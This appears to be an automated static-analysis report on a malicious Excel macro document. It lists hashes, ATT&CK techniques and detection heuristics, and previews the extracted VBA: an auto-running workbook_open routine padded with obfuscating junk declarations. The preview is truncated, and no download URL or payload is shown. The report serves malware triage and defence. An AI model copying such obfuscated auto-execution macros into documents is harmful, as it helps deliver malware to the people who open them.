Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 348e0a42f158a525…

MALICIOUS

Office (OLE)

115.5 KB Created: 2018-03-13 23:31:15 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: 47f50aa4a41150c3f2607ea89ef4bc16 SHA-1: 9dd6deb6a07becfe1926af1b675ef01576f5793a SHA-256: 348e0a42f158a525fe32013625dce5158ffd8ec5625ef6d0cc0453255ef567d6
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing a Workbook_Open VBA macro, which is a common technique for initial execution. The macro uses CreateObject and exhibits p-code auto-execution, indicating it's designed to run obfuscated code. While the script is truncated and heavily obfuscated, its presence and the Workbook_Open trigger strongly suggest it's intended to download and execute a secondary payload, characteristic of macro-based malware delivery.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38131 bytes
SHA-256: 16230d2a682e4bf85745b0504d3871eaf9ac13e6d61720fa2d92da0eff60f94c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()


qxXkAzNYI.BHDCekNuRToUjclhKHYl
Dim neAHgbfSNidPwhjfYbKYfyiM As Byte
If ADNPyBnSGzvWHvVDFugipYXBtGJixAFownHdNPTLvKIwlMYcFHTkSz = WcfLVssEVGtHaTnrppbVnfPbQhigdpgUWx Then
Dim RfyBtbTqpCDdlEpORdJwLrMEvoJLbfaZldBItnwzBxp As Variant
Dim NXnvdrOXDLZlaSuGFRIPKcerIDgUehJvOCygHsgUMH
Dim WNMrbpyhqithfltvmaKutVBdXYTOyN As Worksheet
End If
Dim knDCFQeRbqWxqbCgWNmLFGJSOBMjTDWkidxFecgdRVyU As Byte
If YweabqBGcmHeeloEDvyYU = lONdwCuhIukHouRWmHdBPHvWTatocaVWazmhRwfn Then
Dim GYTrWXprXhQoUWEeTrK As Variant
Dim VJGFiZNgoHjEpcpuqoDzwlBQuJhCEvHOam
Dim JdATlSJqBjndaLfbNqPrO As Worksheet
End If
Dim kHpLZsLctzUdDSLuXClqFjSdQiVWdhRyjYZWLIMZxN As Byte
If HjSzXtUgqneBIApLuqXozLiWuftpiOqLsscjKQLbCwreThPYgzO = VCIOwBwErA Then
Dim eybwTJQYGBdfvmDUDCNPUIjzUIjdghOLTbXxPhAYzA As Variant
Dim aylqGWKcxurbfWObcKZmsYmRLTPFEVCoQUhkOeCNSEjUUrwB
Dim jnFpyMICLTemHFXbsCL As Worksheet
End If
Dim LodNxILTooSxUXNWRQ As Byte
If MpDLfZvAPGNgHcRfkNFaHhntUNtWJPtjG = LfNHzIERxtFGHgqfomAQqIf Then
Dim CKrRgYqzNeawwEXlEAIKnhmNhCqVcsS As Variant
Dim PDAKxIqYtGtsbgktbQBwQixrUXekdhVXUMKt
Dim vtacNcPDupKgxIPEbwChFJpZeGu As Worksheet
End If
Dim LlWXPWqyhpYinSuweNy As Byte
If nUSQvYKdomEByHhDRYSvJGKhOCOOOLMKMgSZtVazFtCLd = oaaFPcYMRog Then
Dim KkBtKvOcZtoSpIKwyTpQDyEZbnJzioyurlPIUgpKeZljAIlxFgZ As Variant
Dim tcXdLgbRWmPulvtaDsBbRdemeNUZTCLtCOE
Dim RUIEcsOSYOfAoGh As Worksheet
End If


Dim iFDEHPxlzyLCyUaVrWqcGuoYiDLGXyM As Byte
If gSlUGqyHpUiJFRqQyxtoeyebnQeVEEqOAmejMAUfsO = AHXliHrmMJeKhioKhpL Then
Dim cCkdUITmHExcNvPxWEBiXdSrgjqEwuCTeU As Variant
Dim PMQeCdOUkiOgQORkSGfHnzkswkRPqNBeytfDhrBXTCtjdAScmLcwnWgQcXi
Dim RLzeWgkiXiOD As Worksheet
End If
Dim aEHolFAPwSpcekFrbMPbKJjMUYWCs As Byte
If RutXICrfivKbHlzWWzmatGLTntQUvUMixXeXwFWiOLt = REACXjqxZkczLjZkPlWjOicdkHcZRdDMhM Then
Dim tPnqslFWnyVXSnWUHxrbfibWSQHQgvhPSyqJwYsldrveHMopDwW As Variant
Dim GVFgLnQYcdpprQGFUxMXiEFyomxPFbRNkZatMReWg
Dim AQHoCENAHUsqYnCPHsYpBSALcFSqNsCSqrioxJmikOxHZWM As Worksheet
End If
Dim lYdEYGgfhPwLwlWnPRZzgFNRxGpFmVslFthRjndLKMAYBxpx As Byte
If NaipzXffKMHRQasMWKGDDFEboOoUEpPzRsrLmCmhNC = GXgLvjToBrrltIWGBliKaVwHAYjgZUYYqByhvcTFBPnYIgyipfB Then
Dim AzDblbZLWzmPhTTvrKpLYSdJLiXyTZBrtSXZmaMGVRwFOAFEplHXAT As Variant
Dim chVuPDDarxyuWOvtIRxiqHWYuLcTJiSdrZ
Dim qqDsKJDvZyGTeqIvcqZRdUKxzEajRJfVDwYFqPGofuh As Worksheet
End If
Dim XRbhlKOFbDavVfFtFjTePTkQhSDEMjllinnfYXoZCEDRcADZkWAE As Byte
If MQSEgKzTGJsrRoNisaVhutbLPTngOdUqjgYRUiyNYUStMLAonVhKBSKTpH = oNXTFdoBIkQvNJbIJZahyESzstwJpQWFcNtkqFPpEKCPYsHXitJlsIIkuX Then
Dim aLgfMsOKSzQqREJl As Variant
Dim coBDbAlZbvHlMUFJpSeEJZxKBNZIHsbEbHfUjrwZZH
Dim DQkcxyuGAzZFcDqqCNadSjUC As Worksheet
End If
Dim KFolZyWFeBVgZYPaNArcfWfcds As Byte
If piywpUwhSrJJhCcUaahJQdyAPRrsXnaMHhJoGiMAksFXQETpzKvFv = UcLkygXdDKeRxBztoNsNgYYYajKyCsMsVRnExDIBpXgh Then
Dim aGTDTwKxCrOvDnJOW As Variant
Dim YbKxmwgNuvkFrXIsqxUQHfGiPpdCsBKutfRwVkoJnpYA
Dim ZrLTGDMppyPsUchwTdVtlqMMGMWGJKdRHFIYeJwpoUEuQ As Worksheet
End If


End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_Prede
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.